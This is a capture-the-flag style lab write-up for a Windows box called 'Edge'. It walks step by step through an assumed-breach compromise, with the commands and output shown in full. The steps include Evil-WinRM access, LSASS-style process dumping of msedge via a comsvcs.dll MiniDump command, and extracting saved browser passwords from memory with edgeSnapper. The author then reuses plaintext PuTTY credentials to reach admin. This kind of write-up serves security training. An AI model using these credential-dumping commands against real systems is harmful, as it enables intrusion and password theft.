Skip to content
BIG$HA crestBIG$HA
All writeups

HackSmarter

Edge

Enumeration

Port Scan

Initial enumeration identified a Windows host named VANTARAOPS.

PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server
|_ssl-date: TLS randomness does not represent time
| rdp-ntlm-info:
|   Target_Name: VANTARAOPS
|   NetBIOS_Domain_Name: VANTARAOPS
|   NetBIOS_Computer_Name: VANTARAOPS
|   DNS_Domain_Name: VantaraOps
|   DNS_Computer_Name: VantaraOps
|   Product_Version: 10.0.26100
|_  System_Time: 2026-05-17T13:08:20+00:00
| ssl-cert: Subject: commonName=VantaraOps
| Not valid before: 2026-05-08T12:26:38
|_Not valid after:  2026-11-07T12:26:38
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49670/tcp open  msrpc         Microsoft Windows RPC

SMB signing was enabled but not required.

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2026-05-17T13:08:20
|_  start_date: N/A
|_clock-skew: mean: 1s, deviation: 0s, median: 0s

Open services worth checking:

  • SMB 445
  • RDP 3389
  • WinRM 5985

Initial Access

The engagement was an assumed-breach scenario, and starting credentials were provided.

jmorris:Fabricat!on2024

SMB Validation and Share Enumeration

Validated the provided credentials over SMB and enumerated shares.

nxc smb 10.1.94.253 -u 'jmorris' -p 'Fabricat!on2024' --shares

SMB         10.1.94.253     445    VANTARAOPS       [*] Windows 11 / Server 2025 Build 26100 x64 (name:VANTARAOPS) (domain:VantaraOps) (signing:False) (SMBv1:False)
SMB         10.1.94.253     445    VANTARAOPS       [+] VantaraOps\\\\jmorris:Fabricat!on2024
SMB         10.1.94.253     445    VANTARAOPS       [*] Enumerated shares
SMB         10.1.94.253     445    VANTARAOPS       Share           Permissions     Remark
SMB         10.1.94.253     445    VANTARAOPS       -----           -----------     ------
SMB         10.1.94.253     445    VANTARAOPS       ADMIN$                          Remote Admin
SMB         10.1.94.253     445    VANTARAOPS       C$                              Default share
SMB         10.1.94.253     445    VANTARAOPS       IPC$            READ            Remote IPC
SMB         10.1.94.253     445    VANTARAOPS       VantaraOps      READ,WRITE      Vantara Industries Operations Share

The VantaraOps share had READ,WRITE access.

Enumerated SMB shares recursively.

smbmap -H 10.1.94.253 -r -u 'jmorris' -p 'Fabricat!on2024'

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.1.94.253:445 Name: 10.1.94.253               Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        ./IPC$
        fr--r--r--                3 Mon Jan  1 00:00:00 1601    InitShutdown
        fr--r--r--                4 Mon Jan  1 00:00:00 1601    lsass
        fr--r--r--                3 Mon Jan  1 00:00:00 1601    ntsvcs
        fr--r--r--                1 Mon Jan  1 00:00:00 1601    Winsock2\\\\CatalogChangeListener-2e0-0
        fr--r--r--                1 Mon Jan  1 00:00:00 1601    Winsock2\\\\CatalogChangeListener-3cc-0
        fr--r--r--                3 Mon Jan  1 00:00:00 1601    epmapper
        fr--r--r--                3 Mon Jan  1 00:00:00 1601    atsvc
        fr--r--r--                3 Mon Jan  1 00:00:00 1601    eventlog
        fr--r--r--                3 Mon Jan  1 00:00:00 1601    TermSrv_API_service
        fr--r--r--                3 Mon Jan  1 00:00:00 1601    Ctx_WinStation_API_service
        fr--r--r--                4 Mon Jan  1 00:00:00 1601    wkssvc
        fr--r--r--                4 Mon Jan  1 00:00:00 1601    W32TIME_ALT
        fr--r--r--                4 Mon Jan  1 00:00:00 1601    srvsvc
        fr--r--r--                2 Mon Jan  1 00:00:00 1601    crashpad_5788_BPKDBOXFEXNDFNFE
        fr--r--r--                1 Mon Jan  1 00:00:00 1601    LOCAL\\\\mojo.5788.4800.3368925885012304087
        fr--r--r--                1 Mon Jan  1 00:00:00 1601    LOCAL\\\\mojo.external_task_manager_v2_5788
        fr--r--r--                1 Mon Jan  1 00:00:00 1601    LOCAL\\\\mojo.5788.4800.7446032390185772468
        fr--r--r--                1 Mon Jan  1 00:00:00 1601    LOCAL\\\\mojo.5788.4800.5041926659669137076
        fr--r--r--                1 Mon Jan  1 00:00:00 1601    LOCAL\\\\mojo.5788.4800.10867419382411220343
        VantaraOps                                              READ, WRITE     Vantara Industries Operations Share
        ./VantaraOps
        dr--r--r--                0 Sun May 17 13:17:45 2026    .
        dr--r--r--                0 Sun May 10 12:39:52 2026    ..
        dr--r--r--                0 Sat May  9 21:49:17 2026    Finance
        dr--r--r--                0 Sat May  9 21:49:17 2026    HR
        dr--r--r--                0 Sat May  9 21:49:17 2026    IT
        dr--r--r--                0 Sat May  9 21:49:17 2026    Logs
        dr--r--r--                0 Sat May  9 21:49:17 2026    Production
        fr--r--r--              302 Sat May  9 21:49:18 2026    README.txt
        dr--r--r--                0 Sat May  9 21:49:17 2026    Reports
        dr--r--r--                0 Sat May  9 21:49:17 2026    Safety
        dr--r--r--                0 Sat May  9 21:49:17 2026    Scripts
        dr--r--r--                0 Sat May  9 21:49:17 2026    Templates
[*] Closed 1 connections

The SMBMap output also exposed several named pipes related to Edge/Crashpad, including references to process 5788, which later matched a running msedge.exe process.

WinRM Access

Validated WinRM access with the same assumed-breach credentials.

nxc winrm 10.1.94.253 -u 'jmorris' -p 'Fabricat!on2024'

WINRM       10.1.94.253     5985   VANTARAOPS       [*] Windows 11 / Server 2025 Build 26100 (name:VANTARAOPS) (domain:VantaraOps)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.1.94.253     5985   VANTARAOPS       [+] VantaraOps\\\\jmorris:Fabricat!on2024 (Pwn3d!)

WinRM was available, so I opened an Evil-WinRM shell.

evil-winrm -i 10.1.94.253 -u 'jmorris' -p 'Fabricat!on2024'

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: <https://github.com/Hackplayers/evil-winrm#Remote-path-completion>

Info: Establishing connection to remote endpoint

Edge Enumeration

After getting a shell as jmorris, I checked the user profile and found a Microsoft Edge shortcut on the desktop.

*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Documents> cd ..\\\\Desktop
*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Desktop> dir

    Directory: C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        11/14/2024   1:03 AM            470 EC2 Feedback.url
-a----        11/14/2024   1:03 AM            501 EC2 Microsoft Windows Guide.url
-a----          5/9/2026  11:22 AM           2359 Microsoft Edge.lnk

Because Edge was clearly used on the machine, I checked the Edge profile directory.

*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Desktop> cd ..\\\\APPDATA\\\\Local\\\\Microsoft\\\\Edge\\\\
*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\APPDATA\\\\Local\\\\Microsoft\\\\Edge> dir
    Directory: C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\APPDATA\\\\Local\\\\Microsoft\\\\Edge

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         5/17/2026   1:27 PM                User Data

*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\APPDATA\\\\Local\\\\Microsoft\\\\Edge> cd 'User Data'
*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\APPDATA\\\\Local\\\\Microsoft\\\\Edge\\\\User Data> ls

    Directory: C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\APPDATA\\\\Local\\\\Microsoft\\\\Edge\\\\User Data

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/9/2026  11:22 AM                Ad Blocking
d-----          5/9/2026  11:29 AM                Autofill
d-----          5/9/2026  11:23 AM                AutoLaunchProtocolsComponent
d-----         5/17/2026  12:56 PM                BrowserMetrics
d-----          5/9/2026  11:27 AM                CertificateRevocation
d-----          5/9/2026   1:08 PM                component_crx_cache
d-----          4/1/2025   6:24 PM                Crashpad
d-----         5/17/2026   1:05 PM                Default
d-----          5/9/2026  11:30 AM                Domain Actions
d-----          5/9/2026  11:33 AM                EADPData Component
d-----          4/1/2025   6:24 PM                Edge Cloud Config
d-----          5/9/2026  11:24 AM                Edge Data Protection Lists
d-----          5/9/2026  12:38 PM                Edge Entity Extraction
d-----          5/9/2026  11:28 AM                Edge Notifications
d-----          5/9/2026  12:34 PM                Edge Shopping
d-----          5/9/2026  12:30 PM                Edge Sidebar
d-----          5/9/2026  12:30 PM                Edge Signal Triggers
d-----          5/9/2026  12:36 PM                Edge Wallet
d-----          5/9/2026  12:30 PM                Edge3pSerp
d-----          5/9/2026  12:30 PM                EdgeArbitration
-a----         5/17/2026  12:56 PM        4194304 BrowserMetrics-spare.pma
-a----          5/9/2026  11:20 AM              0 First Run
-a----         5/17/2026   1:27 PM          18415 Local State

The Default profile and Local State file were present.

Edge Process Check

Since the latest finding involved saved Edge passwords being available in the live process context, I checked whether Edge was actively running.

*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5> Get-Process msedge | Select Name,Id,SI,Path

Name     Id SI Path
----     -- -- ----
msedge 1140  1 C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe
msedge 1224  1 C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe
msedge 1532  1 C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe
msedge 1604  1 C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe
msedge 5788  1 C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe
msedge 6336  1 C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe
msedge 6728  1 C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe
msedge 6736  1 C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe

Multiple Edge processes were running. I focused on PID 5788.

Edge Credential Extraction Attempts

Failed Upload: EdgeSavedPasswordsDumper.exe

I first tried uploading EdgeSavedPasswordsDumper.exe.

*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Desktop> mkdir Edge
*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Desktop> cd Edge
*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Desktop\\\\Edge> upload EdgeSavedPasswordsDumper.exe

Info: Uploading /home/kali/Desktop/HackSmarter/Edge/EdgeSavedPasswordsDumper.exe to C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Desktop\\\\Edge\\\\EdgeSavedPasswordsDumper.exe

Data: 15016 bytes of 15016 bytes copied

Info: Upload successful!

However, on disk it appeared as a 0 byte file.

*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Desktop\\\\Edge> dir

    Directory: C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Desktop\\\\Edge

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         5/17/2026   1:56 PM              0 EdgeSavedPasswordsDumper.exe

Trying to run it failed.

*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Desktop\\\\Edge> .\\\\EdgeSavedPasswordsDumper.exe

Program 'EdgeSavedPasswordsDumper.exe' failed to run: The specified executable is not a valid application for this OS platform.At line:1 char:1
+ .\\\\EdgeSavedPasswordsDumper.exe
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.
At line:1 char:1
+ .\\\\EdgeSavedPasswordsDumper.exe
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed

Failed Upload in Windows Temp

I tried again from C:\\\\Windows\\\\Temp\\\\Edge.

*Evil-WinRM* PS C:\\\\Windows\\\\Temp> mkdir Edge
*Evil-WinRM* PS C:\\\\Windows\\\\Temp> cd Edge
*Evil-WinRM* PS C:\\\\Windows\\\\Temp\\\\Edge> upload EdgeSavedPasswordsDumper.exe edge.exe

Info: Uploading /home/kali/Desktop/HackSmarter/Edge/EdgeSavedPasswordsDumper.exe to C:\\\\Windows\\\\Temp\\\\Edge\\\\edge.exe

Data: 15016 bytes of 15016 bytes copied

Info: Upload successful!

Again, the uploaded file was 0 bytes.

*Evil-WinRM* PS C:\\\\Windows\\\\Temp\\\\Edge> dir

    Directory: C:\\\\Windows\\\\Temp\\\\Edge

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         5/17/2026   2:01 PM              0 edge.exe

I also tried uploading a base64 file, but it also appeared as 0 bytes.

*Evil-WinRM* PS C:\\\\Windows\\\\Temp\\\\Edge> upload edge.b64

Info: Uploading /home/kali/Desktop/HackSmarter/Edge/edge.b64 to C:\\\\Windows\\\\Temp\\\\Edge\\\\edge.b64

Data: 20024 bytes of 20024 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\\\\Windows\\\\Temp\\\\Edge> dir

    Directory: C:\\\\Windows\\\\Temp\\\\Edge

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         5/17/2026   2:03 PM              0 edge.b64
-a----         5/17/2026   2:01 PM              0 edge.exe

Failed MiniDump Attempt

Next I tried dumping the running Edge process using comsvcs.dll.

*Evil-WinRM* PS C:\\\\Windows\\\\Temp\\\\Edge> rundll32.exe C:\\\\Windows\\\\System32\\\\comsvcs.dll, MiniDump 5788 C:\\\\Windows\\\\Temp\\\\edge5788.dmp full

No dump appeared in the current folder.

*Evil-WinRM* PS C:\\\\Windows\\\\Temp\\\\Edge> dir

    Directory: C:\\\\Windows\\\\Temp\\\\Edge

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         5/17/2026   2:03 PM              0 edge.b64
-a----         5/17/2026   2:01 PM              0 edge.exe

I tried a full path inside the Edge folder.

*Evil-WinRM* PS C:\\\\Windows\\\\Temp> rundll32.exe C:\\\\Windows\\\\System32\\\\comsvcs.dll, MiniDump 5788 C:\\\\Windows\\\\Temp\\\\Edge\\\\edge5788.dmp full
*Evil-WinRM* PS C:\\\\Windows\\\\Temp> cd Edge
*Evil-WinRM* PS C:\\\\Windows\\\\Temp\\\\Edge> dir

    Directory: C:\\\\Windows\\\\Temp\\\\Edge

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         5/17/2026   2:03 PM              0 edge.b64
-a----         5/17/2026   2:01 PM              0 edge.exe
-a----         5/17/2026   2:10 PM      634918719 edge5788.dmp

The dump was created on the target. I downloaded it.

Info: Downloading C:\\\\Windows\\\\Temp\\\\Edge\\\\edge5788.dmp to edge5788.dmp

Info: Download successful!

The dump was downloaded, but this route did not produce the credential extraction I needed, so I switched tools.

EdgeSnapper

Since the direct dumper upload and manual process dump path did not work, I tried edgeSnapper.exe.

*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Documents> ./edgeSnapper.exe

[*] Scanning processes for msedge.exe
[+] Found msedge.exe at PID 5788

[*] Creating handle to process 5788
[+] Handle to process acquired!

[*] Attempting Process Snapshot...
[+] Process successfully Snapshotted!

[*] Scanning frozen snapshot regions...
------------------------------------------
Username/eMail: jmorris
Password:       JFH823*&%^&21jdsf823&$*sjksa812723
------------------------------------------
Username/eMail: sburns
Password:       875&%(#@hjdJFU823kFKh8234
------------------------------------------
Username/eMail: svc_vdi
Password:       V@ntara#Ops1
------------------------------------------
Username/eMail: jmorris
Password:       1qazxsw2!QAZXSW@
------------------------------------------
Username/eMail: jmorris
Password:       Fabricat!on2025

edgeSnapper.exe successfully extracted saved Edge credentials from the running Edge process.

The most useful credential was:

svc_vdi:V@ntara#Ops1

svc_vdi Context and PuTTY Configuration

After recovering svc_vdi credentials, I was able to reach via RDP to the svc_vdi user context and enumerate the profile.

C:\\\\Users\\\\svc_vdi.VANTARAOPS\\\\Desktop>dir

The system cannot find message text for message number 0x235f in the message file for Application.
The system cannot find message text for message number 0x235b in the message file for Application.

DNS bad key.
05/09/2026  12:40 PM    The system cannot find message text for message number 0x2373 in the message file for Application. .
05/09/2026  12:34 PM    The system cannot find message text for message number 0x2373 in the message file for Application. ..
11/14/2024  01:03 AM               470 EC2 Feedback.url
11/14/2024  01:03 AM               501 EC2 Microsoft Windows Guide.url
05/09/2026  12:40 PM             2,359 Microsoft Edge.lnk
The system cannot find message text for message number 0x2378 in the message file for Application.
The system cannot find message text for message number 0x2379 in the message file for Application.

Moved into the Documents folder.

C:\\\\Users\\\\svc_vdi.VANTARAOPS\\\\Desktop>cd ..\\\\Documents
C:\\\\Users\\\\svc_vdi.VANTARAOPS\\\\Documents>dir

The system cannot find message text for message number 0x235f in the message file for Application.
The system cannot find message text for message number 0x235b in the message file for Application.

DNS bad key.
05/10/2026  01:16 PM    The system cannot find message text for message number 0x2373 in the message file for Application. .
05/09/2026  12:34 PM    The system cannot find message text for message number 0x2373 in the message file for Application. ..
05/10/2026  01:16 PM             1,161 putty.conf
The system cannot find message text for message number 0x2378 in the message file for Application.
The system cannot find message text for message number 0x2379 in the message file for Application.

Found putty.conf, which looked like a saved PuTTY session configuration.

C:\\\\Users\\\\svc_vdi.VANTARAOPS\\\\Documents>type putty.conf
$session = "VDI-MGMT"

New-Item -Path "HKCU:\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\$session" -Force | Out-Null

Set-ItemProperty -Path "HKCU:\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\$session" -Name HostName     -Value "10.10.10.25"
Set-ItemProperty -Path "HKCU:\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\$session" -Name Protocol     -Value "ssh"
Set-ItemProperty -Path "HKCU:\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\$session" -Name PortNumber   -Value 22
Set-ItemProperty -Path "HKCU:\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\$session" -Name UserName     -Value "svc_vdi_mgmt"
Set-ItemProperty -Path "HKCU:\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\$session" -Name TerminalType -Value "xterm"
Set-ItemProperty -Path "HKCU:\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\$session" -Name Compression  -Value 1
Set-ItemProperty -Path "HKCU:\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\$session" -Name TryAgent     -Value 1
Set-ItemProperty -Path "HKCU:\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\$session" -Name PingInterval -Value 30
Set-ItemProperty -Path "HKCU:\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\$session" -Name Password     -Value "56tyghbn%^TYGHBN"

Write-Host "PuTTY session '$session' created."

The PuTTY configuration exposed another credential.

svc_vdi_mgmt:56tyghbn%^TYGHBN

Post Exploitation

Validated the recovered svc_vdi_mgmt credentials with NetExec, and this time the account came back Pwn3d! — full admin.

nxc winrm 10.1.102.241 -u 'svc_vdi_mgmt' -p '56tyghbn%^TYGHBN' 

WINRM       10.1.102.241    5985   VANTARAOPS       [*] Windows 11 / Server 2025 Build 26100 (name:VANTARAOPS) (domain:VantaraOps)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.1.102.241    5985   VANTARAOPS       [+] VantaraOps\svc_vdi_mgmt:56tyghbn%^TYGHBN (Pwn3d!)
                                                                                                             

With admin access confirmed, I opened an Evil-WinRM session and walked straight into the Administrator’s Desktop for the final flag at C:\Users\Administrator\Desktop\root.txt.

evil-winrm -i 10.1.102.241 -u 'svc_vdi_mgmt' -p '56tyghbn%^TYGHBN'

                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_vdi_mgmt\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\svc_vdi_mgmt\Desktop> dir


    Directory: C:\Users\svc_vdi_mgmt\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        11/14/2024   1:03 AM            470 EC2 Feedback.url
-a----        11/14/2024   1:03 AM            501 EC2 Microsoft Windows Guide.url
-a----          4/1/2025   6:24 PM           2355 Microsoft Edge.lnk


*Evil-WinRM* PS C:\Users\svc_vdi_mgmt\Desktop> cd ../../Administrator/Desktop/
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir


    Directory: C:\Users\Administrator\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        11/14/2024   1:03 AM            470 EC2 Feedback.url
-a----        11/14/2024   1:03 AM            501 EC2 Microsoft Windows Guide.url
-a----          5/8/2026   5:15 PM           2355 Microsoft Edge.lnk
-a----         5/11/2026  11:30 AM             60 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
1ts_N0t_a_BuG_1ts_a_F3atur3
*Evil-WinRM* PS C:\Users\Administrator\Desktop> 

Attack Path Summary

Assumed breach credentials:
jmorris:Fabricat!on2024

→ Nmap identified SMB, RDP, WinRM
→ SMB signing enabled but not required
→ Validated jmorris over SMB
→ Found VantaraOps share with READ,WRITE
→ Validated RDP access
→ Validated WinRM access
→ Connected with Evil-WinRM as jmorris
→ Found Microsoft Edge profile and Edge shortcut
→ Confirmed multiple msedge.exe processes were running
→ Tried EdgeSavedPasswordsDumper.exe, but uploads became 0-byte files
→ Tried comsvcs.dll MiniDump against PID 5788
→ Dump file was created/downloaded but did not lead to the needed extraction
→ Switched to edgeSnapper.exe
→ edgeSnapper successfully snapshotted msedge.exe PID 5788
→ Extracted saved Edge credentials
→ Recovered svc_vdi:V@ntara#Ops1
→ Enumerated svc_vdi profile
→ Found putty.conf
→ Extracted PuTTY saved session credentials
→ Final credential discovery: svc_vdi_mgmt:56tyghbn%^TYGHBN

Credentials Found

User Password / Secret Source
jmorris Fabricat!on2024 Assumed breach credentials
svc_vdi V@ntara#Ops1 EdgeSnapper / Edge process memory
svc_vdi_mgmt 56tyghbn%^TYGHBN putty.conf
sburns 875&%(#@hjdJFU823kFKh8234 EdgeSnapper / Edge process memory
jmorris 1qazxsw2!QAZXSW@ EdgeSnapper / Edge process memory

Tools Used

  • Nmap
  • NetExec / nxc
  • SMBMap
  • Evil-WinRM
  • PowerShell
  • comsvcs.dll MiniDump
  • EdgeSavedPasswordsDumper.exe
  • edgeSnapper.exe
  • PuTTY configuration review